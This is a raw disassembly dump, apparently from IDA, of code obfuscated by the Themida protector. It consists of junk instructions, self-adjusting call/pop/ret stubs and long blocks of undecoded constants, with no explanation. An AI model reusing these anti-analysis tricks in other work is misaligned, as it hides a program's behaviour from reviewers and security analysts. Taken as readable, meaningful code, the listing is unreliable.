edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_587F18 endp ; --------------------------------------------------------------------------- push ss retf ; --------------------------------------------------------------------------- dw 8412h ; --------------------------------------------------------------------------- stc cmpsb inc ecx or [ecx+1D386BCEh], eax push ebp loc_587F36: ; CODE XREF: Themida_:00587E66j mov dword ptr [ebp+62BE8FBh], 0 jmp loc_587F51 ; --------------------------------------------------------------------------- db 16h, 0EFh, 7Ch dd 0B447C55Bh, 908EFF8Eh db 69h ; --------------------------------------------------------------------------- loc_587F51: ; CODE XREF: Themida_:00587EA2j ; Themida_:00587F08j ... lea ebx, [ebp+6282B39h] push 0 push ebp call sub_587F62 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587F62 proc near ; CODE XREF: Themida_:00587F5Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_587F62 endp ; --------------------------------------------------------------------------- lahf xor al, [edi+ebp*8] cmp ah, cl stc and dword ptr [ebx], 0FFFFFEFFh push 0 push edi call sub_587F8A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587F8A proc near ; CODE XREF: Themida_:00587F82p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_587F8A endp ; --------------------------------------------------------------------------- cmp dh, cl xchg eax, ebx xchg eax, ecx jnb short loc_588011 ficom word ptr [ebx-6AFE365Fh] aad 24h sub [esi], al mov bx, ds push 0 push esi call sub_587FB8 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587FB8 proc near ; CODE XREF: Themida_:00587FB0p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_587FB8 endp ; --------------------------------------------------------------------------- dd 0A1A5A902h, 0E378BE66h, 921B58Bh, 0C3F60628h, 30840F04h dd 9000000h, 28222D8Dh, 0FD95FF06h, 89062803h, 28055D95h dd 52509006h, 840Fh, 310F0000h, 2 dup(310F5250h), 585A585Ah dd 9050585Ah, 0E9FE8B66h ; --------------------------------------------------------------------------- icebp loc_588011: ; CODE XREF: Themida_:00587F9Ej add eax, [eax] add [edi], cl mov eax, [ecx] ; --------------------------------------------------------------------------- db 0 dd 0B0F90000h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 4E67242Dh, 22B134B1h dd 0B58B7BDCh, 6280535h, 8D8970E6h, 6282E59h, 131D9531h dd 71E40628h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 6EC35040h, 1143DFCDh, 78206AD1h, 0D8B60F50h, 0AE9h dd 9C4DC400h, 61C232C5h, 0BAE85B81h, 6, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0BBC35545h, 0FC154AB9h dd 60AF4668h, 2A959589h, 61F80628h, 0E8C1C38Bh, 50006A04h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 2ED02C8Dh, 79B50B78h, 66062823h, 6AE2F7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0DE0BC0C3h dd 29B74385h, 698D89F7h, 2B062817h, 50006AD8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 29622717h dd 0DE9B4h, 13BD0000h, 6B39CD78h, 767A3BAh, 506BAB21h dd 0F241C89h, 0B5FFF1B7h, 6280DC1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0EC35747h, 13D7F2CAh, 6595FF5Ah dd 53062804h, 48B0Fh, 0BE660000h, 895F6A9Dh, 281EF585h dd 8B00B006h, 2819B5B5h, 6A70E606h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 1500C351h dd 0C96785FAh, 92FC9744h, 8529F860h, 6280225h, 0F1B58B61h dd 0E406280Bh, 81950171h, 3C062812h, 26830F61h, 6A000002h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0FD9DC352h, 0EC0D4FBFh, 0B523618Ah, 62806C9h dd 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 4F00C355h, 0E924FFC4h, 0E0EAF838h dd 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 8BDCD18Bh, 658589C3h, 0C1062809h dd 8BF504E8h, 280601B5h, 0E2F76606h, 2C31B589h, 0D82B0628h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 7C35343h dd 0D89853EEh, 8B66E8FFh, 6A58F2h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 13CAEC3h, 816BA3DEh dd 87D8FFEEh, 6870F1Fh, 89000000h, 28165585h, 0FD82B06h dd 13488h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 4533ACFDh, 0B0A4D7FDh, 0B9F18B7Ah dd 7, 83FFBF0Fh, 6A00C1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0EC52CBC3h, 0FE8B55E1h dd 860FD93Bh, 0D9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 0C8C35141h, 89020732h, 282B0195h, 0D98C6606h dd 0F6F2BF0Fh, 840F04C1h, 9Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 96C35242h, 0D1CF358Bh, 8B53F698h dd 2826D9B5h, 0FD95FF06h, 89062803h, 28015185h, 0F08B5B06h dd 0B58BC32Bh, 6282499h, 8343Dh, 52860F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 85B8C350h, 0F07D7EBDh, 0E9A67EC4h, 31h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 29C35747h, 9ED0FC1Dh dd 295E0385h, 2829A1BDh, 31C08B06h, 2809718Dh, 8BC38B06h dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 9589486Ch, 62824CDh, 830Fh, 85C70000h, 6282D91h dd 1944AB37h, 0C18B6060h, 61D2B70Fh, 1D65B529h, 8B610628h dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 933F8FF2h, 0BD8B5230h, 62818C9h, 0C1BD815Eh dd 0D006280Dh, 0F000007h, 1585h, 0EDB58B00h, 0FF062814h dd 280DC185h, 0B7BF6606h, 0D6816617h, 0B5FF0435h, 6280DC1h dd 2CEAEE81h, 95FF65EAh, 6280465h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 4FC35545h, 11B1B58Bh, 6A900628h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 2A8DC351h, 6A8516FDh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 91C355h dd 61B589ADh, 6A062825h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 4C76C352h, 0F6819547h dd 636E182Bh, 341B52Bh, 66600628h, 34FC7BBh, 2821D9B5h dd 0C6816606h, 161C7BDh, 280711BDh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 890AADAFh dd 282651B5h, 7FDF8106h, 8B4D09E7h, 280EE5B5h, 61B58B06h dd 6A062824h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 13D9C352h, 0BD3F19D4h, 318C0FE0h dd 1E74D681h, 6A5C8Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0E0713DC3h, 8E568FB3h, 270EBE66h dd 0C9DBE781h, 0CDE95309h, 31FFFFF7h, 282A8DBDh, 33C18B06h dd 280501B5h, 4EB06h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 3C98C352h, 209FE34Bh dd 800FFA67h, 2, 858DFB8Bh, 6282C05h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 0D2C35040h, 8B6650F5h, 240489F8h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 4BC35141h dd 400CDABEh, 1DC78186h, 337FD593h, 28228DB5h, 0F006A06h dd 587h, 3187BF00h, 81663D69h, 6AA303EFh, 0D6858D00h, 6A062BF4h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0FC60C356h, 26399D89h, 83FC0628h, 6A05C0h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 25C916C3h, 8BB06BDFh, 2833C5B5h, 6E85206h, 49000000h dd 0A900AD9Dh, 830F0Bh, 5F000000h, 0F18B505Eh, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 68FDC351h, 81F78B01h, 0BDC9FED6h, 0E8006A6Ah dd 0Fh, 7A99F704h, 0C4500B42h, 158FC8DEh, 8BB9FF2Fh, 282D09B5h dd 12E85E06h, 0FD000000h, 3DB6C30Fh, 0BC8E33DFh, 0D13CDED0h dd 0F5D981EFh, 81B50BFFh, 5E06280Bh, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0C695DDC3h dd 0DEBF06A1h, 24D5BD29h, 13E90628h, 28000000h, 67B21201h dd 0A66D42FCh, 80C5BAFDh, 0E9CC0A0h, 95FFCA81h, 6282431h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0B7C35646h dd 0B8D9FA71h, 367F2BAh, 281925B5h, 0F39D8D06h, 0E9062B94h dd 0Ch, 0D2B973D9h, 0FE170D90h, 0A9AA98E5h, 6AD3FFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0C08B63C3h, 5985FF11h, 8B062816h, 2816CDB5h, 299D8906h dd 0E9062807h, 856h, 0E8h, 0ED815D00h, 62BF4E0h, 178ABE66h dd 0DC1BD81h, 7D00628h, 860F0000h, 132h, 99953160h, 60062829h dd 0AE9h, 0BA621E00h, 0E2C026D4h, 0E8196ECBh, 10h, 0D45FE636h dd 2251BB75h, 592C64BCh, 61843AB8h, 8B61615Bh, 282C299Dh dd 1BD8B06h, 81062815h, 100E3h, 810F00h, 0B000000h, 8E850FDBh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 594C356h, 66D88D20h, 0BF66FB8Bh dd 0BD837D73h, 62BF2B2h, 23840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0C34BC357h, 47E992h, 85C70000h, 62BF2B2h, 1, 0F9BF0FF9h dd 34E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 8F3662C2h, 134B0CB3h, 0B285C7F5h dd 62BF2h, 1000000h, 280C8195h, 299D8D06h, 6A06282Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0F585C352h, 0FEFF2381h, 6AFFFFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 8C661DC3h dd 19B589DBh, 0F6062822h, 840F04C3h, 1Fh, 0AEEEF7BEh, 0FD95FF75h dd 0E9062803h, 5, 0EADF9E0Ah, 489509Dh, 8D9D2924h, 0E906280Fh dd 497h, 2E7D8589h, 85090628h, 6281035h, 6A00B0h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 46E8E3C3h, 0B779262Fh, 53F92A8Fh, 6F53EE81h, 0E65E64ADh dd 51006A70h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0DD07536Bh, 5C375724h, 11E94Ch, 65CD0000h dd 0A41DE1E4h, 0CB47D2C6h, 0F97900DDh, 8B052BC1h, 2812ADB5h dd 6A71E406h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0BC2EC353h, 242BB70h, 0D8B60F1Ch dd 0CB816660h, 950145AAh, 6281A3Dh, 6BA61h, 0B5890000h dd 6280CD1h, 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 8B1E90C3h, 280D8DBDh, 4E8C106h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0D2C35040h dd 0DB20C3E1h, 0D796112Eh, 17FDBF66h, 6AE2F766h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0F9C7C350h, 2BEB0A17h, 52006AD8h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 8B66A511h dd 31BD09FBh, 5006281Fh, 0D9D5BF66h, 6A241C89h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0BC74C351h, 2D019589h, 0B5FF0628h, 6280DC1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B4C35343h, 704D50CAh dd 11E942h, 0EE40000h, 103C8F79h, 4FFF5504h, 0BCF0854Dh dd 0FFB9C752h, 28046595h, 8E906h, 490F0000h, 7674E763h dd 0B0F941h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 21C35343h, 895E5171h, 282ED18Dh, 0AE86006h, 0DB000000h dd 46F9E4BDh, 5EBC9CEEh, 7D9D89A2h, 5F062834h, 3C8FBE66h dd 8970E661h, 281A3195h, 6A71E406h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 79D1C352h dd 82384378h, 3CA22B38h, 4C830F61h, 66000002h, 8BEA35BEh dd 0D8B60FF8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 83C35343h, 147BD130h, 6BA25DCh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0D674C353h, 0BB9398E4h, 559D8B60h, 66062812h, 619E38BFh dd 0F50C38Bh, 583h, 6A08BF00h, 0E95F4FE3h, 10h, 1AF42AAAh dd 28E0C034h, 24473513h, 0AC1632B1h, 8B04E8C1h, 28114DBDh dd 0E2F76606h, 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 40B2F5C3h, 21B58Bh, 6A580628h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 9A16C357h, 2B2F59DDh, 70880FD8h, 0E9000001h, 10h, 8F72FB69h dd 0D03DA1BFh, 90A55E49h, 0DD4941E6h, 7B9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 9E849h, 53610000h, 0FCBFF455h, 0E94BD77Ah, 0Fh, 0B72E29ECh dd 877D7F2Ah, 0C8F03105h, 5F54FC81h, 0F00C183h, 8Bh, 0FD93B00h dd 10686h, 699D0900h, 66062812h, 8C0FD98Ch, 6, 0D1B58Bh dd 0B70F0628h, 4C1F6F0h, 0BF840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 9C8168C3h dd 3002CEF9h, 8942D426h, 28191185h, 0FD95FF06h, 89062803h dd 2803DD8Dh, 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0F0233C3h, 83h, 199D8900h, 2B062802h dd 0C7C781C3h, 3D645D4Eh, 834h, 4B860Fh, 860F0000h, 6 dd 266DB509h, 60E90628h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 9B5C353h dd 0A035F250h, 0DE9E96Fh, 73000000h, 0B318E0Eh, 8F9C8FD9h dd 7A0DC539h, 6433B3BFh, 6AC08B1Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0AB94C350h dd 78596C3Ch, 8BF38BA3h, 6AD88BC3h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 3B0CC355h dd 0C12A1939h, 10E9h, 3DEDE000h, 7EDF5284h, 0E5D8CE2Fh dd 0C31278F2h, 0F0B70F8Bh, 2B3985C7h, 0DF910628h, 6A128Fh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 8BC636C3h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 6080859Dh, 98A706D9h, 81669DFCh dd 891D82EFh, 280BD185h, 0C1BD8106h, 0D006280Dh, 0F000007h dd 4A85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0C57325F5h, 0BEFB35EFh, 0DC185FFh dd 6A0628h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0A17723C3h, 0FFF2B70Fh, 280DC1B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 662C4A86h, 7AECE81h, 46595FFh, 85890628h, 6281245h dd 0ED958990h, 8106282Bh, 0BA83ABD6h, 0BE975h, 0BC5D0000h dd 6CB2A909h, 0E04DC077h, 0B840FBFh, 0F000000h, 83h, 948BBE00h dd 0DE84F90h, 11000000h, 0DF8A2A28h, 5D02926h, 4217614h dd 0BD8B5FF9h, 6280CF5h, 801BD8Bh, 0BD8B0628h, 62801E5h dd 2A95BD8Bh, 6A0628h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 9072C2C3h, 20830F6Dh, 0E8000000h dd 12h, 1323FC56h, 6078D046h, 0D9B63761h, 53AB890Ch, 74BEA247h dd 66600AF7h, 315FF98Bh, 282C25BDh, 6DBD0906h, 0F062804h dd 682h, 0A1B58B00h dd 60062822h, 6BE18166h, 66D48A2Fh, 0A278DE81h, 0F58D8B60h dd 0E806280Fh, 5, 0A3D78291h, 0B5895AB2h, 6280185h, 0AE9h dd 422F6200h, 71DC20EEh, 611CF711h, 5850F61h, 66000000h dd 0DAD7EF81h, 20D8589h, 85890628h, 6283411h, 0FFF7B3E9h dd 9D8952FFh, 6280E29h, 0C18BF55Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 9AC35545h, 8086D781h, 4EB2BB5h dd 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5890AB and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5890AB proc near ; CODE XREF: Themida_:005890A3p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5890AB endp ; --------------------------------------------------------------------------- or [ebx], ebp or eax, 95896F10h or eax, 29062803h popf pop ecx sbb [eax], ebp push es lea eax, [ebp+6282C05h] push 0 push edi call sub_5890DD and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5890DD proc near ; CODE XREF: Themida_:005890D5p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5890DD endp ; --------------------------------------------------------------------------- db 0C8h, 54h, 3 dd 2814F1BDh, 52509006h, 310FF38Bh, 0BE50585Ah, 77A60134h dd 6A006A90h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 7218C353h, 60006AF8h, 0E9A7E980h dd 13h, 0C9F1C2A2h, 0EB59D17Eh, 6CEF46A8h, 2A1658A2h, 61B17468h dd 0FF05858Dh, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 947189C3h, 5E9h, 72C8AB00h, 0C083F9AEh dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0BEC602BCh, 5D18F38Ch, 8B666050h, 5E5160FBh dd 4896161h, 0EE924h, 3B100000h, 0B8943DFDh, 432489AFh dd 1488DE04h, 8B66006Ah, 0E8006AF0h, 0Eh, 0FBF2E6B3h, 0B339C56Dh dd 0CF52D4F6h, 0BD8936B4h, 6282461h, 3195FF5Fh, 6A062824h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0F73AC350h, 1FF1E07Fh, 9D89B511h, 6281725h dd 94F39D8Dh, 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0F4402AC3h, 8B0F3478h, 5, 2CEE8166h dd 0FFD3FF27h, 28165985h, 38D0F06h, 0F000000h, 89E9FFB7h dd 0E8000008h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 62BFF0Fh cmp dword ptr [ebp+6280DC1h], 7D0h jbe loc_5893CD push 0 push ecx call sub_589276 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589276 proc near ; CODE XREF: Themida_:0058926Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_589276 endp ; --------------------------------------------------------------------------- xchg edi, [edi-10h] setalc mov ebx, [ebp+628200Dh] push 0 push ebx call sub_58929B and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58929B proc near ; CODE XREF: Themida_:00589293p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_58929B endp ; --------------------------------------------------------------------------- mov ebx, ebp js short loc_589324 xchg ecx, [ebp+4Dh] mov edi, [edx+23h] mov ebp, 6281941h and ebx, 100h jns loc_5892D6 jmp loc_5892D6 ; --------------------------------------------------------------------------- db 3Fh dd 0C6767340h, 4CF741CCh db 96h, 64h ; --------------------------------------------------------------------------- loc_5892D6: ; CODE XREF: Themida_:005892C0j ; Themida_:005892C6j or ebx, ebx jnz loc_58935D push 0 push ebp call sub_5892E9 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5892E9 proc near ; CODE XREF: Themida_:005892E1p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5892E9 endp ; --------------------------------------------------------------------------- sbb bh, [edx-17C82C24h] retf 0BD83h ; --------------------------------------------------------------------------- dw 0FD57h dd 0F00062Bh, 1284h, 0BD8BF900h, 6280251h, 51E9h, 7D9D8900h dd 0C7062819h, 2BFD5785h ; --------------------------------------------------------------------------- loc_589324: ; CODE XREF: Themida_:005892ADj push es add [eax], eax ; --------------------------------------------------------------------------- db 0 dd 0E58D0100h, 0E9062806h, 36h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 2EC35242h, 17038C21h, 799D8964h dd 8B06282Dh ; --------------------------------------------------------------------------- clc loc_58935D: ; CODE XREF: Themida_:005892D8j mov dword ptr [ebp+62BFD57h], 0 mov si, ax lea ebx, [ebp+628200Dh] push 0 push ecx call sub_58937B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58937B proc near ; CODE XREF: Themida_:00589373p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_58937B endp ; --------------------------------------------------------------------------- push cs jnz loc_589395 mov si, bx loc_589395: ; CODE XREF: Themida_:0058938Cj jmp loc_5893A2 ; --------------------------------------------------------------------------- pop edi mov ebx, 146D78B3h fcompp st, st loc_5893A2: ; CODE XREF: Themida_:loc_589395j and dword ptr [ebx], 0FFFFFEFFh push 0 push ebx call sub_5893B3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5893B3 proc near ; CODE XREF: Themida_:005893ABp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5893B3 endp ; --------------------------------------------------------------------------- db 0F9h dd 30AFE915h, 4EE59C6Dh db 87h ; --------------------------------------------------------------------------- loc_5893CD: ; CODE XREF: Themida_:00589265j mov bx, ds push 0 push ecx call sub_5893DB and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5893DB proc near ; CODE XREF: Themida_:005893D3p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5893DB endp ; --------------------------------------------------------------------------- pop ebx sub esp, [edi-4274E499h] and [ebx], esi sub [esi], al mov esi, [ebp+62814CDh] test bl, 4 jz loc_589479 push 0 push ecx call sub_589410 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589410 proc near ; CODE XREF: Themida_:00589408p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_589410 endp ; --------------------------------------------------------------------------- dd 11934E39h, 3D8EC241h, 118589A7h, 8B062815h, 280C59B5h dd 0FD95FF06h, 6A062803h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 6A04C351h, 0A3159B65h dd 880F3768h, 6, 1F518D89h, 60500628h, 3901BB66h, 0B423B0B9h dd 4896128h db 24h ; --------------------------------------------------------------------------- loc_589479: ; CODE XREF: Themida_:005893FFj jmp loc_5898AC ; --------------------------------------------------------------------------- push 0 push eax call sub_589489 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589489 proc near ; CODE XREF: Themida_:00589481p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_589489 endp ; --------------------------------------------------------------------------- imul dword ptr [eax] rcl ah, 34h sub bl, [esi+40h] mov esi, eax jmp loc_5894B6 ; --------------------------------------------------------------------------- dd 8CC0B0AAh, 5EAA6790h, 1C96AC0h db 0A1h, 6Fh ; --------------------------------------------------------------------------- loc_5894B6: ; CODE XREF: Themida_:005894A3j mov al, 0 push 0 push edx call sub_5894C3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5894C3 proc near ; CODE XREF: Themida_:005894BBp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5894C3 endp ; --------------------------------------------------------------------------- db 16h dd 9589497Ah, 6283321h, 0E6FEBF0Fh, 53006A70h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 69B58B14h dd 0E4062807h, 55006A71h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0F9EA2305h, 61606057h dd 9E9h, 350E6800h, 23E5EBD4h, 5F618F0Ah, 33719D01h, 0B60F0628h dd 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 6BA66h, 95890000h, 6280545h, 8D89C38Bh dd 6282C1Dh, 6A04E8C1h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0A309C351h, 52F717BCh dd 0F52BB60h, 0B8Eh, 6E900h, 65A0000h, 0CFA161E2h, 12E8h dd 36B3000h, 8A086D24h, 225FAB5h, 8A6D3ED5h, 0E80AFA78h dd 9, 0E3B4AAC5h, 0DE0D6196h, 0EBBF6657h, 0E95E5FD9h, 5 dd 0BA3A0E87h, 0E2F7667Ch, 0E5950952h, 5E062807h, 1FEDBD89h dd 0D82B0628h, 89F18B50h, 6A241Ch, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 865B67C3h, 0C1B5FF77h dd 6A06280Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0FFB9C357h, 28046595h, 5E906h dd 0ABFB0000h, 0B0562DD5h, 0C18D0100h, 0E606280Fh, 53006A70h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 34D50029h, 0E452ECF5h, 1D8D8971h, 0F06282Ch, 1487h dd 8E800h, 32AA0000h, 0E356821h, 8D893E78h, 6280DD1h, 0F613C5Fh dd 20F83h, 0E5BF6600h, 0D8B60F9Fh, 6BAFCh, 0B0BE0000h dd 8B70F0E7h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0CA91D89Ah, 7B43298Bh, 6604E8C1h dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 95294CC3h, 628054Dh, 16EDBD0Bh, 0D82B0628h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 82C35040h dd 49D6E374h, 0E7819A14h, 5362F91Fh, 2BF88B58h, 75880FD8h dd 8B000001h, 2824D5B5h, 7B906h, 83F90000h, 8D0900C1h dd 6280F05h, 0D93B5F50h, 156860Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 17730FC3h dd 0D7BD814h, 70CE8160h, 8B636C49h, 0D98C66F7h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 2AC35343h, 0DB9C9BE6h dd 1D2D126Ah, 10E9h, 1759F500h, 0B756B66Ah, 0A9D7A8E2h dd 81B57BE0h, 6E3CBF27h, 0C1F603D2h, 0B9840F04h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 5E7C355h, 0FD95FF51h, 6A062803h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 